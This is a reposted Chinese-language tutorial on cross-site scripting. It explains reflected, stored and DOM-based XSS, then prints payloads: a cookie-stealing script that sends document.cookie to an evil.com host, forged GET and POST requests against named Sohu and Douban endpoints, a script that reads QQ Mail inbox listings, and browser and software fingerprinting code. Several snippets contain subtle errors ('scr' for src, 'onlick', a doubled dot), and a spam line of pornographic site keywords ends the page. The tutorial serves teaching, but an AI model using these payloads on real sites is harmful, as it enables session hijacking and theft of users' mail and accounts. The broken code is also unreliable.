<big id="xzbvl"><listing id="xzbvl"></listing></big>

    
    
      <big id="xzbvl"></big>

      <address id="xzbvl"></address>
        技術干貨 > 文章詳情

        帶你玩轉跨站腳本攻擊cross site script

        柳絮飄飄_joan2年前

        跨站腳本攻擊 cross site script

            通常指黑客通過“HTML注入”纂改了頁面,插入了惡意的腳本,從而在用戶瀏覽頁面時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,所以叫“跨站腳本”。但是發展到今天,由于Javascript的強大功能以及網站前端應用的復雜化,是否跨域已經不再重要。但是由于歷史原因,這個名字保留了下來。

        假設一個頁面把用戶輸入的參數輸出到頁面上:
        <?php
        $input=$_GET[“param”];
        echo “<div>”.$input.”</div>”;
        ?>
        如果提交一段HTML代碼:
        http://www.a.com/test.php?param=<script>alert(/xss/)</script>
        會發現alert(/xss/)被執行了。

        XSS分為以下幾類:
        1)反射型XSS: 只是簡單地把用戶輸入的數據反射給瀏覽器,黑客需要誘使用戶點擊鏈接。也叫作非持久型XSS“(Non-persistent XSS)
         2)存儲型XSS:把用戶輸入的數據存儲在服務器端。這種XSS具有很強的穩定性。
        比較常見的一個場景是,黑客寫下一篇包含惡意Javascript代碼的博客文章,文章發表后,所有訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的Javascript        碼。黑客把惡意的腳本保存在服務器端,所以中
        XSS攻擊就叫做存儲型XSS”。存儲型XSS也叫持久性XSS
        3)DOM based XSS:從效果上來說也是一種反射型XSS。通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS
        看如下代碼:
        <script>
        function test(){
        var str=document.getElementById(“text”).value;
        document.getElementById(“t”).innerHTML=”<a href='”+str+”‘ >testLink</a>”;
        }
        </script>
        <div id=”t”></div>
        <input type=”text” id=”text” value=”” />
        <input type=”button” id=”s” value=”write” onlick=”test()” />

        這段代碼的作用就是點擊write按鈕后在當前頁面插入一個鏈接。在test()函數中,修改了頁面的DOM節點,通過innerHTML把一段用戶數據當作HTML寫入到頁面中,這就造成了DOM based XSS
        構造如下數據:
        ‘ onclick=alert(/xss/) //
        輸入后,頁面代碼就成了
        <a href=” onlick=alert(/xss/) //’ >testLink </a>
        首先用一個單引號閉合掉href的第一個單引號,然后插入一個onclick事件,最后再用注釋符//注釋掉第二個單引號。 這里為什么需要onclick,是通過on事件觸發?

        實際上,這里還有另外一種利用方式除了構造一個新事件外,還可以選擇閉合掉<a>標簽,并插入一個新的HTML標簽。嘗試如下輸入:
        ‘><img scr=# onerror=alert(/xss2/) /><‘
        頁面代碼編程
        <a href=”><img scr=# onerror=alert(/xss2/) /><”>testLink</a>  這里是onerror事件

        2XSS攻擊進階:
        1)初探XSS Payload:
        XSS Payload就是JavaScript腳本(還可以是Flash或其他富客戶端的腳本),所以任何Javascript腳本能做到的事情,XSS Payload都能做到。
        一個最常見的XSS Payload就是讀取瀏覽器的Cookie對象,從而發起”Cookie劫持攻擊。
        Cookie中一般加密保存了當前用戶的登錄憑證。Cookie如果丟失,往往意味著用戶的登錄憑證丟失。換句話說,攻擊者可以不用通過密碼,而直接登錄進用戶的賬戶。
        如下所示,攻擊者先加載一個遠程腳本:
        http://www.a.com/test.htm?abc=”><script scr=http://www.evil.com/evil.js ></script>
        真正的XSS Payload現在這個遠程腳本中,避免直接在URL的參數里寫入大量的JavaScript代碼。
        evil.js中,可以通過如下代碼竊取Cookie:
        var img=document.createElement(“img”);    創建一個img對象
        img.src=”http://www.evil.com/log?”+escape(document.cookie);
        document.body.appendChild(img);        img對象插入到節點
        這段代碼在頁面中插入了一張看不見的圖片,同時把document.cookie對象作為參數發送到遠程服務器。
        事實上,http://www.evil.com/log并不一定要存在,因為這個請求會在遠程服務器的Web日志中留下記錄。
        這樣就完成了一個最簡單的竊取CookieXSS Payload
        黑客可以用這個Cookie直接登錄。
        防止:Cookie“HttpOnly”標識可以防止”Cookie劫持,我們將在稍后的章節中在具體介紹。HttpOnly表明cookie存在于http層面,不能被客戶端腳本讀取

         2)強大的XSS Payload:
        cookie劫持并非每次都有效,有的網站會在set-cookie時給關鍵cookie植入httponly標識,有的網站則會吧cookie與客戶端ip綁定
        a)網站上的應用,只需要接受HTTPGET POST請求,即可完成所有操作,那么可以通過javascript構造GET POST請求就可以讓應用執行操作。
        例如在Sohu上有一篇文章, 想通過XSS刪除它,該如何做呢?
        假設Sohu博客所在域的某頁面存在XSS漏洞,那么通過JavaScript,這個過程如下:
        正常刪除該文章的鏈接是:
        http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
        對于攻擊者來說,只需要直到文章的id,就能夠通過這個請求刪除這篇文章了。
        攻擊者可以通過插入一張圖片來發起一個get請求:

        var img=document.createElement(“img”);
        img.scr=”http://blog.sohu.com/manage/entry.do?m=delete&id=156713012″;
        document.body.appendChild(img);

        攻擊者只需要讓博客的作者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。在具體攻擊中,攻擊者將通過XSS誘使用戶執行XSS Payload

        如果網站應用者接受POST請求,那么攻擊者如何實施XSS攻擊呢?
        攻擊者將通過Javascript發出一個post請求            在分析的過程中,可以先抓正常提交表單是的post包,然后構造
        第一種方法是構造一個form表單,然后自動提交這個表單:

        var f=document.createElement(“form”);
        f.action=””;
        f.method=”post”;
        document.body.appendChild(f);

        var i1=document.createElement(“input”);
        i1.name=” ck”;
        i1.value=” JiuY”;
        f.appendChild(i1);

        var i2=document.createElement(“input”);
        i2.name=” mb_text”;
        i2.value=”testtestseset”;
        f.appendChild(i2);

        f.submit();

        如果表單參數很多的話,通過構造DOM的方式,代碼將會很冗長。所以可以直接寫HTML代碼:
        var dd=document.createElement(“div”);
        document.body.appendChild(dd);
        dd.innerHTML='<form action=”” method=”post” id=”xssform” name=”mbform”>’+
        ‘<input type=”hidden” name=”ck” value=”JiuY” />’+
        ‘<input type=”hidden” name=”mb_text” value=”testetst” />’ +
        ‘</form’

        document.getElementById(“xssform”).submit();

        第二種方法是,通過XMLHttpRequest發送一個POST請求:
        var url=”http://www.douban.com”;
        var postStr=”ck=JiuY&mb_text=test1234″;
        var ajax=null;
        if (window.XMLHttpRequest){
        ajax=new XMLHttpRequest();
        } else if (window.ActiveXObject){
        ajax=new ActiveXObject(“Microsoft.XMLHTTP”);
        } else {
        return;
        }

        ajax.open(“POST”,url,true);
        ajax.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);
        ajax.send(postStr);

        ajax.onreadystatechange=function(){
        if (ajax.readyState==4 && ajax.status==200){
        alert(“Done”);
        }
        }
        可以看出,在XSS攻擊后,除了可以實施cookie劫持外,還能夠通過模擬GET POST請求操縱用戶的瀏覽器。
        下面的例子將演示如何通過XSS Payload讀取QMail用戶的郵件文件夾:
        首先看看正常的請求是如何獲取到所有的郵件列表的。登錄郵箱后,點擊收件箱后。抓包發現瀏覽器發出了如下請求:
        http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1

        經過分析,真正能訪問到郵件列表的鏈接是:
        http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…

        這里有一個無法直接構造出的值:sid。從字面推測,這個sid參數應該是用戶ID加密后的值。
        所以XSS Payload的思路是先獲取到sid的值,然后構造完整的URL,并使用XMLHttpRequest請求到此URL,應該就能得到郵件列表了。XSS Payload如下:
        if (top.window.location.href.indexOf(“sid=”)>0){
        var sid=top.window..location.href.substr(top.window.location.href.indexOf(“sid=”)+4,24);
        }

        var folder_url=”http://”+top.window.location.host+”/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=”+sid;

        var ajax=null;
        if (window.XMLHttpRequest){
        ajax=new XMLHttpRequest();
        } else if (window.ActiveXObject){
        ajax=new ActiveXObject(“Microsoft.XMLHTTP”);
        } else {
        return;
        }

        ajax.open(“GET”,folder_url,true);
        ajax.send(null);

        ajax.onreadystatechange=function(){
        if (ajax.readyState==4 && ajax.status==200){
        alert(ajax.responseText);
        //document.write(ajax.responseText);
        }
        }

        郵件列表的內容成功被XSS Payload獲取到。

        b)釣魚:
        XSS并非萬能。前面的例子都是Javascript腳本,缺少與用戶的交互”,碰到驗證碼,和修改密碼時需要輸入舊密碼,XSS Payload就會失效。
        對于驗證碼,XSS Payload可以讀取頁面的內容,將驗證碼的圖片URL發送到遠程服務器上來實施攻擊者可以在遠程XSS后臺接收當前驗證碼,并將驗證碼的值返回給當前的XSS Payload,從而繞過驗證碼。
        修改密碼的問題比較復雜,為了竊取密碼,攻擊者可以將XSS釣魚結合。
        實現思路很簡單:利用Javascript在當前頁面上畫出一個偽造的登錄框,當用戶在登錄框中輸入用戶名和密碼后,其密碼將被發送到黑客的服務器上。

        c)識別用戶瀏覽器:
        通過識別用戶的瀏覽器、操作系統就可以執行一次精準的內存攻擊
        可以通過javascript腳本識別瀏覽器版本:
        1,通過XSS讀取瀏覽器的UserAgent對象:alert(navigator.userAgent);
        但是userAgent是可以偽造的。這個信息不一定準確。
        2,由于瀏覽器之間的實現存在差異,利用這種差異分辨瀏覽器幾乎不會錯誤。
        通過如下代碼;
        B=(function x(){})[-5]==’x’?’FF3′:(function
        x(){})[-6]==’x’?’FF2′:/a/[-1]==’a’?’FF’:’\v’==’v’?’IE’:/a/.__proto__==’//’?’Saf’:/s/.
        test(/a/.toString)?’Chr’:/^function \(/.test[].sort)?’Op’:’Unknow’
        d)識別用戶安裝的軟件:
        IE中,可以通過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用于
        掛馬攻擊”–黑客通過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到植入木馬的目的。
        看如下代碼:
        try {
        var Obj=new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
        } catch (e){
        //異常了,不存在該控件
        }
        通過收集常見軟件的classid,就可以掃描出用戶電腦中安裝的軟件列表,甚至包括軟件的版本。
        一些第三方軟件也可能會泄漏一些信息。比如Flash有一個system.capabilities對象,能夠查詢客戶端電腦中的硬件信息。
        XSS Payload中,可以在FlashActionScript中讀取system.capabilities對象后,將結果通過ExternalInterface傳給頁面的javascript

        Firefox的插件(Plugins)列表存放在一個DOM對象中,通過查詢DOM可以遍歷出所有的插件:
        所以直接查詢”navigator.plugins”對象,就能找到所有的插件了。例如 navigator.plugins[0]
        Firefox的擴展(extension):通過檢測擴展的圖標,來判斷某個特定的擴展是否存在。
        firefox中有一個特殊的協議: chrome:// Chrome的擴展圖標可以通過這個協議被訪問到。比如Flash Got擴展的圖標,可以這樣訪問:
        chrome://flashgot/skin/icon32.png
        掃描firefox擴展時,只需在Javascript中加載這張圖片,如果加載成功,則擴展存在;反之,擴展就不存在。
        var m=new Image();
        m.onload=function(){
        alert(1);//圖片存在
        };
        m.onerror=function(){
        alert(2);//圖片不存在
        };
        m.src=”chrome://flashgot/skin/icon32.png”; //連接圖片

           e)CSS History Hack:
        另一種XSS Payload—通過CSS,來發現一個用戶曾經訪問過的網站。
        原理是利用stylevisited屬性如果用戶曾經訪問過某個鏈接,那么這個鏈接的顏色會變的與眾不同。
        <body>
        <a href=# >曾經訪問過</a>
        <a href=”notexist”>未曾經訪問過</a>
        </body>
        往上存在利用POCfirefox已經修補了這個漏洞


        版權保護聲明:本文轉自http://www.hekaiyu.cn/xss/272.html ,本文僅代表作者觀點,麥子學院可能會進行刪節修改,但不代表麥子學院的官方立場。我們極其尊重并保護原創作品的版權,若原作者有任何疑問,請聯系微信號:chengxuyuan8

        版權保護聲明:本文轉自http://www.hekaiyu.cn/xss/272.html,本文僅代表作者觀點,麥子學院可能會進行刪節修改,但不代表麥子學院的官方立場。我們極其尊重并保護原創作品的版權,若原作者有任何疑問,請聯系微信號:chengxuyuan8


        0

        登錄 后參與討論

        沒有更多評論了

        免費領取價值1888元求職寶典!

        客服熱線 400-862-8862

        回到頂部

        日本av电影-av电影-av在线-日本av-亚洲av-av视频-欧美av-av网站-